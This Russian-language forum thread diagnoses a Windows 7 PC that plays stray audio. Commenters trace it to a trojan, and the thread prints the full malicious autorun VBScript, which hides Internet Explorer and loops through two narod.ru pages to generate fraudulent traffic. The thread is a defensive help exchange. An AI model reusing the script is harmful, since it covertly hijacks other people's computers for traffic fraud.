Фигня какая-то. Уже месяца 3 один из двух компов на винде 7 при подключенном инете несколько раз в день включает и играет что-то похожее на интернет радио. То есть иногда музыка, иногда голос. Через секунд 15-20 выключается. Куда копать, чтобы избавиться от этого?
Слышу не только я один, но еще и жена

Здравствуйте, FireShock, Вы писали:

FS>Фигня какая-то. Уже месяца 3 один из двух компов на винде 7 при подключенном инете несколько раз в день включает и играет что-то похожее на интернет радио. То есть иногда музыка, иногда голос. Через секунд 15-20 выключается. Куда копать, чтобы избавиться от этого?
FS>Слышу не только я один, но еще и жена

А если комп на другое место поставить? Может, есть какая-то хитрая наводка из проводной сети радио или еще откуда-то?

Здравствуйте, Au1, Вы писали:

Au1>А если комп на другое место поставить? Может, есть какая-то хитрая наводка из проводной сети радио или еще откуда-то?
Не, точно не это. Качество на слух — как мрз 128 кб/с.

Здравствуйте, FireShock, Вы писали:

FS>Фигня какая-то. Уже месяца 3 один из двух компов на винде 7 при подключенном инете несколько раз в день включает и играет что-то похожее на интернет радио. То есть иногда музыка, иногда голос. Через секунд 15-20 выключается. Куда копать, чтобы избавиться от этого?
FS>Слышу не только я один, но еще и жена

Ставь линух, там скорее всего звук пахать не будет.

Здравствуйте, FireShock, Вы писали:

FS>Слышу не только я один, но еще и жена

Откуда знаешь, что это комп, а не соседи радио слушают?

Здравствуйте, FireShock, Вы писали:

FS>Уже месяца 3 один из двух компов на винде 7 при подключенном инете несколько раз в день включает и играет что-то похожее на интернет радио.

Боян? Троян?

Здравствуйте, ДимДимыч, Вы писали:

ДД>Боян? Троян?
Касперский MSSE молчит.

гня какая-то. Уже месяца 3 один из двух компов на винде 7 при подключенном инете несколько раз в день включает и играет что-то похожее на интернет радио.

Гы гы дай угадаю, открыт браузер а там наверно мерянно немерянно закладок.
Вот среди них есть какой то флеш банер.
У меня тоже так было, ни с того ни с сего — звук то открывающийся двери то закрывающийся.

Здравствуйте, FireShock, Вы писали:

FS>Фигня какая-то. Уже месяца 3 один из двух компов на винде 7 при подключенном инете несколько раз в день включает и играет что-то похожее на интернет радио. То есть иногда музыка, иногда голос. Через секунд 15-20 выключается. Куда копать, чтобы избавиться от этого?
FS>Слышу не только я один, но еще и жена

Анекдот старый вспомнился:
Хакер приходит к специалисту по паранормальным явлениям:
— Доктор, помогите мне! У меня дома такое творится. Диски по комнате летают, сами в компьютер ставятся и Windows устанавливают!
— У-у! Батенька, да у вас полтерГейтс!

Через некоторое время бездействия (около 5 минут) вместо скринсервера запускался тупой ролик про парашютистов.

Так что с психикой у тебя всё в порядке. Не волнуйся.

Здравствуйте, nen777w, Вы писали:

N>Гы гы дай угадаю, открыт браузер а там наверно мерянно немерянно закладок.
N>Вот среди них есть какой то флеш банер.
N>У меня тоже так было, ни с того ни с сего — звук то открывающийся двери то закрывающийся.
Браузеры закрыты. Все временные файлы и куки удалены. Но все равно включается музыка.

Вроде, ничего необычного:

Здравствуйте, FireShock, Вы писали:

FS>Уже месяца 3 один из двух компов на винде 7 при подключенном инете несколько раз в день включает и играет что-то похожее на интернет радио.

- Поправился товарищ Комманд Ком, — произнес Диггер, рассматривая проходящего мимо товарища Кома.
— На 2.7 кило, — определил командир Нортон.
— Так какую песню мы сегодня будем петь, Нортон? — спросил Диггер.
— Дык, — отвечал командир Нортон, — Янки Дудль.

Комманд Ком, Диггер и отец Виндовс...

Здравствуйте, FireShock, Вы писали:

Autoruns не подскажет?

По всему, пашиным хозяевам позарез нужна война в Европе
(уверены — к ним не залетит, в предыдущих двух не залетало жеж)

Здравствуйте, FireShock, Вы писали:

FS>Вроде, ничего необычного:

Ну как минимум у тебя несколько червей на компе:

1. C:\Program Files\Application Updater\ApplicationUpdater.exe;
2. taskhost.exe (под вопросом);
3. C:\Windows\Temp\1.vbs.

Пункт 3 особо интересен, шо там за скрипт?

Надо еще смотреть, что у тебя там в автозагрузке и в службах прописалось. Мое скромное имхо — комп затроянен, возможно, входит в какой-то ботнет, отсюда и музло периодическое.

Здравствуйте, FireShock, Вы писали:

FS>Вроде, ничего необычного:

FS>

Гляжу на фотку и гадаю: беспечны али заманиваете?

По всему, пашиным хозяевам позарез нужна война в Европе
(уверены — к ним не залетит, в предыдущих двух не залетало жеж)

Здравствуйте, Flamer, Вы писали:

F>1. C:\Program Files\Application Updater\ApplicationUpdater.exe;

publisher....: Spigot, Inc.
copyright....: Copyright © 2005-2010 Spigot, Inc.
product......: Application Updater
description..: Application Updater
original name: ApplicationUpdater.exe
internal name: ApplicationUpdater.exe

Это какой-то троян? В гугле пока не найду, что это. Кто-то говорит, что этот файл появился после установки PDF Creator.
В службах висит.

F>2. taskhost.exe (под вопросом);


F>3. C:\Windows\Temp\1.vbs.
F>Пункт 3 особо интересен, шо там за скрипт?

On Error Resume Next
Set oIE = WScript.CreateObject("InternetExplorer.Application")
do
oIE.visible = 0
oIE.navigate "http://google-referatov.narod.ru/works2/UA-1-1-0000001.html"
WScript.Sleep 300000
oIE.navigate "http://bissnessite.narod.ru/serf.html"
WScript.Sleep 300000
loop

Он в автозагрузке прописан. Что за ссылки — не знаю.


F>Надо еще смотреть, что у тебя там в автозагрузке и в службах прописалось. Мое скромное имхо — комп затроянен, возможно, входит в какой-то ботнет, отсюда и музло периодическое.

Работающие службы:

Здравствуйте, FireShock, Вы писали:

FS>Здравствуйте, Flamer, Вы писали:

F>>1. C:\Program Files\Application Updater\ApplicationUpdater.exe;

FS>Это какой-то троян? В гугле пока не найду, что это. Кто-то говорит, что этот файл появился после установки PDF Creator.
FS>В службах висит.

Почти на 100% уверен, что троян.


FS>

FS>On Error Resume Next
FS>Set oIE = WScript.CreateObject("InternetExplorer.Application")
FS>do
FS>oIE.visible = 0
FS>oIE.navigate "http://google-referatov.narod.ru/works2/UA-1-1-0000001.html"
FS>WScript.Sleep 300000
FS>oIE.navigate "http://bissnessite.narod.ru/serf.html"
FS>WScript.Sleep 300000
FS>loop
FS>

FS>Он в автозагрузке прописан. Что за ссылки — не знаю.

Ну вот и оно — периодические запросы левых страниц, на них звуки могут быть как раз.


И еще — отключите в браузерах плагины для работы с PDF — это та еще дыра.

Здравствуйте, Flamer, Вы писали:

F>Ну вот и оно — периодические запросы левых страниц, на них звуки могут быть как раз.
Интересно, откуда взялся этот скрипт.

F>И еще — отключите в браузерах плагины для работы с PDF — это та еще дыра.
ОК.

Здравствуйте, FireShock, Вы писали:

FS>Он в автозагрузке прописан. Что за ссылки — не знаю.

Что еще в автозагрузке прописано? Autoruns от Sysinternals скачайте и запустите — он все покажет.

Здравствуйте, FireShock, Вы писали:


F>>Ну вот и оно — периодические запросы левых страниц, на них звуки могут быть как раз.
FS>Интересно, откуда взялся этот скрипт.

Вестимо откуда — с зараженных страниц. Я тут немного полазил по исходникам страничек по ссылкам — в общем, какой-то товарищ с помощью вас зарабатывает себе кредиты в какой-то системе раскрутки сайтов. Сходу вроде ничего криминального, но комп таки затроянен И тут лучше перебздеть, что называется.

Здравствуйте, kero, Вы писали:

K>Гляжу на фотку и гадаю: беспечны али заманиваете?
Да, что-то я какой-то невнимательный.

Здравствуйте, Flamer, Вы писали:

F>Вестимо откуда — с зараженных страниц. Я тут немного полазил по исходникам страничек по ссылкам — в общем, какой-то товарищ с помощью вас зарабатывает себе кредиты в какой-то системе раскрутки сайтов. Сходу вроде ничего криминального, но комп таки затроянен И тут лучше перебздеть, что называется.
Если бы не было музыки, дольше бы зарабатывал
Попробую админам narod.ru письмо написать, чтоб страницы проверили.

Приветствую, Lloyd, вы писали:

L> Ставь линух, там скорее всего звук пахать не будет.

Прошли те времена...

Здравствуйте, Sheridan, Вы писали:


L>> Ставь линух, там скорее всего звук пахать не будет.

S>Прошли те времена...


И понеслась....

Здравствуйте, Sheridan, Вы писали:

L>> Ставь линух, там скорее всего звук пахать не будет.
S>Прошли те времена...

Ну вот, была нормальная система, и ту сломали

Здравствуйте, FireShock, Вы писали:

FS>Здравствуйте, Flamer, Вы писали:

FS>Если бы не было музыки, дольше бы зарабатывал
FS>Попробую админам narod.ru письмо написать, чтоб страницы проверили.

Чтобы музыку не добавляли на страницы?

Здравствуйте, xBlackCat, Вы писали:
BC>Здравствуйте, FireShock, Вы писали:
FS>>Здравствуйте, Flamer, Вы писали:
BC>Чтобы музыку не добавляли на страницы?

Хватит уже ветку, показывающую мои админские способности, в ТОП поднимать

Здравствуйте, Sheridan, Вы писали:

L>> Ставь линух, там скорее всего звук пахать не будет.

S>Прошли те времена...

Отнял у топикстартера последюю надежду. Эх ты!

Здравствуйте, FireShock, Вы писали:

FS>Вроде, ничего необычного:

Первым делом убей KeNotify.exe (я больше всего его подозреваю, уже исходя из названия) и AlSrvN.exe. Если кто из них станет самозапускаться прямо сразу после удаления -- поздравляю, у вас троянка!

Здравствуйте, FireShock, Вы писали:

А ещё сильно посмотри, кто у тебя живёт в C:\Windows\Temp\1.vbs -- очень на гадость похоже.

Здравствуйте, __UNIX_hokum, Вы писали:

__U>Первым делом убей KeNotify.exe

Утилитка для тошибовских ноутов

__U> (я больше всего его подозреваю, уже исходя из названия) и AlSrvN.exe

Крякер алкоголя.

Здравствуйте, __UNIX_hokum, Вы писали:

__U>А ещё сильно посмотри, кто у тебя живёт в C:\Windows\Temp\1.vbs -- очень на гадость похоже.
Это мы уже похерили

Здравствуйте, AndrewVK, Вы писали:

__U>> (я больше всего его подозреваю, уже исходя из названия) и AlSrvN.exe
AVK>Крякер алкоголя.

2Microsoft: винда, офис и студия лицензионные. А то щас из водяных знаков скриншота еще мой айпишник достанут.